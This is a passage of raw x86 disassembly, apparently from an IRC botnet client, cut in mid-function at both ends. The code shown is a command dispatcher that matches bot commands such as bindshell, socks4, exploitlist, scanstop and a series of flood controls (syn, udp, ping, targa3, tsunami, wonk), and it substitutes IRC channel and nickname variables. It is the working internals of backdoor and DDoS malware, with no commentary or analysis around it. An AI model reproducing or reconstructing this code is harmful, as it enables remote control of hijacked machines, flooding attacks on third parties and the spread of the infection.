		jz	short loc_40233A
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		call	near ptr 26A096Ch
		nop
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		nop
		call	near ptr 26A096Ch
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
